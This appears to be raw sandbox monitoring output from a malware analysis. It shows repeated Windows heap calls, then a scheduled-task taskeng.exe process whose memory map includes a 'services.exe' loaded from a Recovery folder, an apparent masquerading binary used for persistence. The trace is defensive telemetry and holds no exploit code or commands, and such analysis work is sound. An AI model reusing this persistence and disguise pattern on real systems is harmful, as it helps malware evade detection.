0x310000 [0071.483] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6e0) returned 1 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6e0) returned 0xe [0071.483] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6e0 | out: hHeap=0x310000) returned 1 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0) returned 1 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cda0) returned 0x20 [0071.483] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0 | out: hHeap=0x310000) returned 1 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d700) returned 1 [0071.483] GetProcessHeap () returned 0x310000 [0071.483] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d700) returned 0xc [0071.483] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d700 | out: hHeap=0x310000) returned 1 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70) returned 1 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd70) returned 0x20 [0071.484] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70 | out: hHeap=0x310000) returned 1 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d720) returned 1 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d720) returned 0xe [0071.484] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d720 | out: hHeap=0x310000) returned 1 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] GetProcessHeap () returned 0x310000 [0071.484] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40) returned 1 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd40) returned 0x20 [0071.485] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40 | out: hHeap=0x310000) returned 1 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d740) returned 1 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d740) returned 0x10 [0071.485] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d740 | out: hHeap=0x310000) returned 1 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10) returned 1 [0071.485] GetProcessHeap () returned 0x310000 [0071.485] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd10) returned 0x20 [0071.486] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10 | out: hHeap=0x310000) returned 1 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb10) returned 1 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb10) returned 0x18 [0071.486] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb10 | out: hHeap=0x310000) returned 1 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0) returned 1 [0071.486] GetProcessHeap () returned 0x310000 [0071.486] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ab0) returned 0x20 [0071.487] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0 | out: hHeap=0x310000) returned 1 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0) returned 1 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ae0) returned 0x20 [0071.487] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0 | out: hHeap=0x310000) returned 1 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10) returned 1 [0071.487] GetProcessHeap () returned 0x310000 [0071.487] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b10) returned 0x20 [0071.488] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10 | out: hHeap=0x310000) returned 1 [0071.488] GetProcessHeap () returned 0x310000 [0071.489] GetProcessHeap () returned 0x310000 [0071.489] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40) returned 1 [0071.489] GetProcessHeap () returned 0x310000 [0071.489] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b40) returned 0x20 [0071.490] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40 | out: hHeap=0x310000) returned 1 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb30) returned 1 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb30) returned 0x18 [0071.490] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb30 | out: hHeap=0x310000) returned 1 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70) returned 1 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b70) returned 0x20 [0071.490] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70 | out: hHeap=0x310000) returned 1 [0071.490] GetProcessHeap () returned 0x310000 [0071.490] GetProcessHeap () returned 0x310000 [0071.491] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00) returned 1 [0071.491] GetProcessHeap () returned 0x310000 [0071.491] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c00) returned 0x20 [0071.491] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00 | out: hHeap=0x310000) returned 1 [0071.491] GetProcessHeap () returned 0x310000 [0071.491] GetProcessHeap () returned 0x310000 [0071.491] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60) returned 1 [0071.491] GetProcessHeap () returned 0x310000 [0071.491] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c60) returned 0x20 [0071.492] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60 | out: hHeap=0x310000) returned 1 [0071.492] GetProcessHeap () returned 0x310000 [0071.492] GetProcessHeap () returned 0x310000 [0071.492] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325cc0) returned 1 [0071.492] GetProcessHeap () returned 0x310000 [0071.492] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325cc0) returned 0x20 [0071.493] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325cc0 | out: hHeap=0x310000) returned 1 [0071.493] GetProcessHeap () returned 0x310000 [0071.493] GetProcessHeap () returned 0x310000 [0071.493] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325cf0) returned 1 [0071.493] GetProcessHeap () returned 0x310000 [0071.493] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325cf0) returned 0x20 [0071.494] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325cf0 | out: hHeap=0x310000) returned 1 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb50) returned 1 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb50) returned 0x18 [0071.494] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb50 | out: hHeap=0x310000) returned 1 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30) returned 1 [0071.494] GetProcessHeap () returned 0x310000 [0071.494] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c30) returned 0x20 [0071.495] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30 | out: hHeap=0x310000) returned 1 [0071.495] GetProcessHeap () returned 0x310000 [0071.495] GetProcessHeap () returned 0x310000 [0071.495] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bad0) returned 1 [0071.495] GetProcessHeap () returned 0x310000 [0071.495] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bad0) returned 0x18 [0071.495] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bad0 | out: hHeap=0x310000) returned 1 [0071.495] exit (_Code=0) Thread: id = 135 os_tid = 0xfb0 Process: id = "28" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x3d351000" os_pid = "0xfb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {85650C01-C229-45B6-B7D8-875526397676} S-1-5-21-4219442223-4223814209-3835049652-1000:Q9IATRKPRH\\kEecfMwgj:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2868 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2869 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2870 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2871 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2872 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2873 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2874 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2875 start_va = 0xffe30000 end_va = 0xffea3fff monitored = 0 entry_point = 0xffe3f44c region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 2876 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2877 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2878 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2879 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2880 start_va = 0x280000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2881 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2882 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2883 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2884 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2885 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2886 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2887 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2888 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2889 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2890 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2891 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2892 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2893 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2894 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2895 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2896 start_va = 0x7fefd650000 end_va = 0x7fefd6bcfff monitored = 0 entry_point = 0x7fefd651010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2897 start_va = 0xc0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2898 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2899 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2900 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2901 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2902 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2903 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2904 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2905 start_va = 0x6e0000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2906 start_va = 0x870000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2907 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskeng.exe.mui" filename = "\\Windows\\System32\\en-US\\TaskEng.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskeng.exe.mui") Region: id = 2908 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2909 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2910 start_va = 0x1c70000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 2911 start_va = 0x130000 end_va = 0x1acfff monitored = 0 entry_point = 0x13cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2912 start_va = 0x130000 end_va = 0x1acfff monitored = 0 entry_point = 0x13cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2913 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2914 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2962 start_va = 0x290000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2963 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2964 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2965 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2966 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2967 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2968 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2969 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2970 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2971 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2972 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2973 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2974 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2975 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2977 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2978 start_va = 0x1c70000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 2979 start_va = 0x1d80000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2980 start_va = 0x1ff0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 2981 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2982 start_va = 0x2070000 end_va = 0x233efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2983 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2991 start_va = 0x2390000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 2992 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2993 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2994 start_va = 0x1f10000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 2995 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2996 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2997 start_va = 0x7fefae00000 end_va = 0x7fefae08fff monitored = 0 entry_point = 0x7fefae011a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 3006 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3007 start_va = 0x1e00000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 3008 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3009 start_va = 0x2410000 end_va = 0x24eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002410000" filename = "" Region: id = 3010 start_va = 0x2580000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 3011 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3012 start_va = 0x7fefc050000 end_va = 0x7fefc067fff monitored = 0 entry_point = 0x7fefc051130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3014 start_va = 0x2600000 end_va = 0x26d7fff monitored = 1 entry_point = 0x26cf1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 3322 start_va = 0x2610000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 3323 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3324 start_va = 0x27e0000 end_va = 0x285ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 3325 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3606 start_va = 0x2890000 end_va = 0x290ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 3607 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3685 start_va = 0x2500000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 3686 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff 